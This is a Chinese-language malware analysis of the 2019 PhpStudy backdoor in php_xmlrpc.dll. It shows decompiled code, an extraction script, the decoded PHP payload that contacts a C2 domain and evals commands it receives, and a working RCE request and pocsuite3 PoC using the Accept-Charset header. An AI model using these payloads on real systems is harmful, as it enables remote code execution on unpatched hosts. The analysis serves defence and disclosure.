PhpStudy BackDoor2019 深度分析

关于《PhpStudy BackDoor》风波已经过去有一段时间了，由于，前段时间一直忙于其它事情QAQ，今天有时间对该事件重新回溯&深度分析。

严正声明：本文仅限于技术讨论与分享，严禁用于非法途径

背景分析

2019年9月20日，杭州市公安局举行新闻通报会，通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果，通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。 Phpstudy集成环境包在国内的使用用户逾百万，据悉，此次后门攻击事件可追溯到2016年，屹今为止累计控制计算机逾67万台，该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为，累计非法牟利600余万元。

影响版本

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

环境准备

测试环境以“phpStudy20161103版本 php5.4.45”为例进行分析

ps:目前官方已更新旧版本程序，可自行下载 https://www.xp.cn

第一个是目前官方正常配置文件，第二个是被植入后门的配置文件，从图中直观的也能看出来两个文件的大小不一样！！分别对其进行Hash校验：

MD5(php_xmlrpc.dll)：c339482fd2b233fb0a555b629c0ea5d5

MD5(php_xmlrpc true.dll)：6ddb8f2af4b2b24671ddcd82d7c08c91

通过Hash校验发现两个文件的Hash值不一样！

后门分析

目前各大厂商已将此后门加入威胁情报库中，此处通过virustotal和火绒查看

从上图可以看到原始的php_xmlrpc.dll存在威胁，接下来开始对“php_xmlrpc.dll”进行深入分析……

通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”，下面正式分析被植入后门的“php_xmlrpc.dll”

首先，用IDA打开“php_xmlrpc.dll”，shift+f12定位是否存在危险字符串

通过索引发现存在危险函数eval()

根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”

“sub_100031F0”程序代码

int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
  int v3; // edx
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // esi
  char *v8; // edi
  char *v9; // ecx
  int v10; // eax
  char *v11; // esi
  int v12; // eax
  char *v13; // edi
  char *v14; // ecx
  _DWORD *v15; // esi
  int v16; // eax
  void *v17; // edx
  int v18; // eax
  void *v19; // edi
  _DWORD *v20; // esi
  int result; // eax
  int v22; // eax
  int v23; // ecx
  int v24; // eax
  int v25; // edi
  _DWORD *v26; // esi
  char v27; // [esp+Dh] [ebp-19Bh]
  __int16 v28; // [esp+BDh] [ebp-EBh]
  char v29; // [esp+BFh] [ebp-E9h]
  char v30; // [esp+C0h] [ebp-E8h]
  char v31; // [esp+100h] [ebp-A8h]
  char v32; // [esp+140h] [ebp-68h]
  char v33; // [esp+180h] [ebp-28h]
  const char ***v34; // [esp+184h] [ebp-24h]
  int v35; // [esp+188h] [ebp-20h]
  int v36; // [esp+18Ch] [ebp-1Ch]
  int **v37; // [esp+190h] [ebp-18h]
  int v38; // [esp+194h] [ebp-14h]
  _DWORD **v39; // [esp+198h] [ebp-10h]
  void *v40; // [esp+19Ch] [ebp-Ch]
  char *v41; // [esp+1A0h] [ebp-8h]
  char *v42; // [esp+1A4h] [ebp-4h]

  memset(&v27, 0, 0xB0u);
  v28 = 0;
  v3 = *a3;
  v29 = 0;
  if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) )
    zend_is_auto_global(aServer, 7, a3);
  zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33);
  if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )
  {
    if ( !strcmp(**v34, aGzipDeflate) )
    {
      if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
      {
        v40 = sub_100040B0(**v37, strlen((const char *)**v37));
        if ( v40 )
        {
          v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
          v5 = *(_DWORD *)(v4 + 296);
          *(_DWORD *)(v4 + 296) = &v30;
          v35 = v5;
          v6 = setjmp3(&v30, 0);
          v7 = v35;
          if ( v6 )
            *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
          else
            zend_eval_string(v40, 0, &byte_10012884, a3);
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
        }
      }
    }
    else
    {
      v12 = strcmp(**v34, aCompressGzip);
      if ( !v12 )
      {
        v13 = &byte_10012884;
        v14 = (char *)&unk_1000D66C;
        v42 = &byte_10012884;
        v15 = &unk_1000D66C;
        while ( 1 )
        {
          if ( *v15 == 39 )
          {
            v13[v12] = 92;
            v42[v12 + 1] = *v14;
            v12 += 2;
            v15 += 2;
          }
          else
          {
            v13[v12++] = *v14;
            ++v15;
          }
          v14 += 4;
          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
            break;
          v13 = v42;
        }
        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
        v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
        v17 = *(void **)(v16 + 296);
        *(_DWORD *)(v16 + 296) = &v32;
        v40 = v17;
        v18 = setjmp3(&v32, 0);
        v19 = v40;
        if ( v18 )
        {
          v20 = a3;
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
        }
        else
        {
          v20 = a3;
          zend_eval_string(v42, 0, &byte_10012884, a3);
        }
        result = 0;
        *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
        return result;
      }
    }
  }
  if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )
  {
    if ( strlen(byte_100127B8) == 0 )
      sub_10004480(byte_100127B8);
    if ( strlen(Dest) == 0 )
      sub_10004380(Dest);
    if ( strlen(byte_100127EC) == 0 )
      sub_100044E0(byte_100127EC);
    v8 = &byte_10012884;
    v9 = asc_1000D028;
    v41 = &byte_10012884;
    v10 = 0;
    v11 = asc_1000D028;
    while ( 1 )
    {
      if ( *(_DWORD *)v11 == 39 )
      {
        v8[v10] = 92;
        v41[v10 + 1] = *v9;
        v10 += 2;
        v11 += 8;
      }
      else
      {
        v8[v10++] = *v9;
        v11 += 4;
      }
      v9 += 4;
      if ( (signed int)v9 >= (signed int)&unk_1000D66C )
        break;
      v8 = v41;
    }
    spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
    v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
    v23 = *(_DWORD *)(v22 + 296);
    *(_DWORD *)(v22 + 296) = &v31;
    v38 = v23;
    v24 = setjmp3(&v31, 0);
    v25 = v38;
    if ( v24 )
    {
      v26 = a3;
      *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;
    }
    else
    {
      v26 = a3;
      zend_eval_string(v41, 0, &byte_10012884, a3);
    }
    *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;
    if ( dword_1000D010 < 3600 )
      dword_1000D010 += 3600;
    ftime(&dword_10012AA0);
  }

  ftime(&dword_10012AB0);
  if ( dword_10012AA0 < 0 )
    ftime(&dword_10012AA0);
  return 0;
}

首先分析spprintf()函数代码处功能，因为其对eval()函数进行了处理

spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

spprintf函数是php官方自己封装的函数，此处实际上实现的是字符串拼接功能，实际代码如下：

@eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,’v42′,27h,')); 
@eval(gzuncompress(',27h,’v41′,27h,')); 

ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参

可以看到上述代码主要对v41、v42数据进行解压执行操控，可以初步猜想恶意代码存在于v41和v42数据中，同理按照思路流程向上去找v41、v42数据内容，

对v41的处理代码

if ( strlen(byte_100127EC) == 0 )
      sub_100044E0(byte_100127EC);
    v8 = &byte_10012884;
    v9 = asc_1000D028;
    v41 = &byte_10012884;
    v10 = 0;
    v11 = asc_1000D028;
    while ( 1 )
    {
      if ( *(_DWORD *)v11 == 39 )
      {
        v8[v10] = 92;
        v41[v10 + 1] = *v9;
        v10 += 2;
        v11 += 8;
      }
      else
      {
        v8[v10++] = *v9;
        v11 += 4;
      }
      v9 += 4;
      if ( (signed int)v9 >= (signed int)&unk_1000D66C )
        break;
      v8 = v41;
    }

对v42的处理代码

if ( !v12 )
      {
        v13 = &byte_10012884;
        v14 = (char *)&unk_1000D66C;
        v42 = &byte_10012884;
        v15 = &unk_1000D66C;
        while ( 1 )
        {
          if ( *v15 == 39 )
          {
            v13[v12] = 92;
            v42[v12 + 1] = *v14;
            v12 += 2;
            v15 += 2;
          }
          else
          {
            v13[v12++] = *v14;
            ++v15;
          }
          v14 += 4;
          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
            break;
          v13 = v42;
        }

分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据，v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据，使用010edit查看发现其均位于.data数据块

由于.data为dword类型每个值占用4个字节，代码处将其转换为char类型进行存储，然后使用php内置函数gzuncompress对其解压执行

使用微步情报局公开的解密脚本进行两段数据的提取解压

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

    import os, sys, string, shutil, re

    import base64

    import struct

    import pefile

    import ctypes

    import zlib

    # import put_family_c2

    def hexdump(src, length=16):

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

        lines = []

        for c in xrange(0, len(src), length):

            chars = src[c:c + length]

            hex = ' '.join(["%02x" % ord(x) for x in chars])

            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')

                                 for x in chars])

            lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

        return ''.join(lines)

    def descrypt(data):

        try:

            # data = base64.encodestring(data)

            # print(hexdump(data))

            num = 0

            data = zlib.decompress(data)

            # return result

            return (True, result)

        except Exception, e:

            print(e)

            return (False, "")

    def GetSectionData(pe, Section):

        try:

            ep = Section.VirtualAddress

            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

            # print(hexdump(data))

            return data

        except Exception, e:

            return None

    def GetSecsions(PE):

        try:

            for section in PE.sections:

                # print(hexdump(section.Name))

                if (section.Name.replace('\x00', '') == '.data'):

                    data = GetSectionData(PE, section)

                    # print(hexdump(data))

                    return (True, data)

            return (False, "")

        except Exception, e:

            return (False, "")

    def get_encodedata(filename):

        pe = pefile.PE(filename)

        (ret, data) = GetSecsions(pe)

        if ret:

            flag = "gzuncompress"

            offset = data.find(flag)

            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

            decodedata_1 = zlib.decompress(data[:0x191])

            print(hexdump(data[0x191:]))

            decodedata_2 = zlib.decompress(data[0x191:])

            with open("decode_1.txt", "w") as hwrite:

                hwrite.write(decodedata_1)

                hwrite.close

            with open("decode_2.txt", "w") as hwrite:

                hwrite.write(decodedata_2)

                hwrite.close

    def main(path):

        c2s = []

        domains = []

        file_list = os.listdir(path)

        for f in file_list:

            print f

            file_path = os.path.join(path, f)

            get_encodedata(file_path)

    if __name__ == "__main__":

        # os.getcwd()

        path = "php5.4.45"

        main(path)

运行结果生成两个数据文件分别对应v41、v42，查看数据内容是经过base64编码过的，对其解码

v41数据

@ini_set("display_errors","0");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

        $out .= "Host: {$h}\r\n";

        $out .= "Accept-Encoding: compress,gzip\r\n";

        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);

        fclose($fp);

    }

v41脚本：使用fsockopen模拟GET发包

v42数据

@ini_set("display_errors","0");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

        $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

        if( !$handle ){

            return "err";

        }

      }

      fwrite($handle, $sendMsg."\n");

        while(!feof($handle)){

            stream_set_timeout($handle, 2);

            $result .= fread($handle, 1024);

            $info = stream_get_meta_data($handle);

            if ($info['timed_out']) {

              break;

            }

         }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");

    $ps = array("20123","40125","8080","80","53");

    $n = false;

    do {

        $n = false;

        foreach ($ds as $d){

            $b = false;

            foreach ($ps as $p){

                $result = tcpGet($i,$d.".360se.net",$p);

                if ($result != "err"){

                    $b =true;

                    break;

                }

            }

            if ($b)break;

        }

        $info = explode("<^>",$result);

        if (count($info)==4){

            if (strpos($info[3],"/*Onemore*/") !== false){

                $info[3] = str_replace("/*Onemore*/","",$info[3]);

                $n=true;

            }

            @eval(base64_decode($info[3]));

        }

    }while($n);

v42脚本：后门c2服务器(360se.net)(当前c2已经失活，因此不会对相关被控主机造成新的危害)

ps:从上面v41、v42数据的提取过程，可以发现攻击者对数据进行了压缩存储，增加了恶意代码的隐蔽性，同时c2服务器域名模仿了奇虎360公司相关产品名称，具有一定的欺诈特性。

分析反向连接c2后门

核心代码

v12 = strcmp(**v34, aCompressGzip);       // //compress,gzip
      if ( !v12 )
      {
        v13 = &byte_10012884;
        v14 = (char *)&unk_1000D66C;
        v42 = &byte_10012884;
        v15 = &unk_1000D66C;
        while ( 1 )
        {
          if ( *v15 == 39 )
          {
            v13[v12] = 92;
            v42[v12 + 1] = *v14;
            v12 += 2;
            v15 += 2;
          }
          else
          {
            v13[v12++] = *v14;
            ++v15;
          }
          v14 += 4;
          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
            break;
          v13 = v42;
        }
        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
        v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
        v17 = *(void **)(v16 + 296);

分析代码逻辑，首先想要执行

spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);

必须满足if ( !v12 )

v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )

定位aCompressGzip，只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码

构造相应Payload：

GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding:compress,gzip
….

ps:由于C2服务器已经失效，不在进行后续操作

分析正向连接 RCE

在C2后门基础上向上接着分析

核心代码

if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )
  {
    if ( !strcmp(**v34, aGzipDeflate) )
    {
      if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
      {
        v40 = sub_100040B0(**v37, strlen((const char *)**v37));
        if ( v40 )
        {
          v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
          v5 = *(_DWORD *)(v4 + 296);
          *(_DWORD *)(v4 + 296) = &v30;
          v35 = v5;
          v6 = setjmp3(&v30, 0);
          v7 = v35;
          if ( v6 )
            *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
          else
            zend_eval_string(v40, 0, &byte_10012884, a3);
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
        }
      }
    }

分析代码逻辑

第一个if()，判断是否存在HTTP_ACCEPT_ENCODING字段，$_SERVER[‘HTTP_ACCEPT_ENCODING’] 为当前请求的 Accept-Encoding: 头部信息的内容。

第二个if()，在第一个if()基础上，判断$_SERVER[‘HTTP_ACCEPT_ENCODING’] 字段值是否是gzip,deflate。

第三个if()，在前两个if()的基础上，判断是否存在HTTP_ACCEPT_CHARSET字段 ，$_SERVER[‘HTTP_ACCEPT_CHARSET’]为当前请求的 Accept-Charset: 头部信息的内容。

最后，在前三个if()的基础上，提取HTTP_ACCEPT_CHARSET字段值，并对该值进行base64解码，然后调用zend_eval_string(v40, 0, &byte_10012884, a3); 执行RCE。

构造相应Payload：

GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
….

EXP利用

后门RCE

exp构造

GET /phpinfo.php HTTP/1.1
Host: 192.168.43.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Connection: close
Upgrade-Insecure-Requests: 1

exp利用

Accept-Charset请求头字段值需要经过base64编码

c3lzdGVtKCJuZXQgdXNlciIpOw==

system("net user");

通过system函数查询的回显，可以看到后门RCE漏洞执行成功

ps:需要注意的一点，Accept-Encoding: gzip,deflate中，gzip,deflate之间不能存在空格，因为后门程序是进行的严格字符串匹配

POC构造

后门RCE

POC验证

POC代码编写利用创宇的pocsuite3框架进行编写，此处放上自己最初写的POC，只包含漏洞验证模块，因为本人已删掉attack模块（安全第一！！！）

import base64
import hashlib
import random
import urllib
from urllib.parse import urljoin, quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_port
from pocsuite3.api import requests
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import get_middle_text


class DemoPOC(POCBase):
    vulID = ''
    version = '1.0'
    author = ['Qftm']
    vulDate = '2019-09-23'
    createDate = '2019-09-23'
    updateDate = '2019-09-23'
    references = ['']
    name = 'phpstudy backdoor'
    appPowerLink = ''
    appName = 'phpstudy'
    appVersion = 'version = 2018|2016'
    vulType = 'backdoor'
    desc = '''Phpstudy Backdoor RCE'''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        try:
            vul_url = urljoin(self.url, '/')
            rand_num = random.randint(0, 1000)
            hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()
            print(vul_url)
            prexp = '''echo '{}' ;'''.format(hash_flag)
            exp = base64.b64encode(prexp.encode()).decode()
            headers = {'Accept-Encoding': 'gzip,deflate',
                       'Accept-Charset': '{}'.format(exp)
                       }
            r = requests.post(vul_url, headers=headers)
            if r.status_code != 404:
                if hash_flag in r.text:
                    print(r.headers.get("Location"))
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url
        except Exception as ex:
            logger.exception(ex)
        return self.parse_output(result)

    def _attack(self):
        result = {}

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

漏洞验证机制使用随机数产生的MD5值（hash_flag）进行校验，首先判断网页是否是404提高命中率，然后根据网页返回来的内容，比对查看是否包含相应的hash_flag，如果包含则证明存在后门RCE，否则不存在。

验证效果

漏洞预防

1、内部排查确认受影响的Phpstudy环境PC主机，进行安全扫描处理（火绒、360安全卫士等）、清除可能存在的可疑程序。

2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码，防止账号密码早已泄露，造成危害。

3、到官网进行下载更新，校验hash。

参考链接

https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw

https://www.freebuf.com/articles/others-articles/215406.html#

https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

文章首发于合天智汇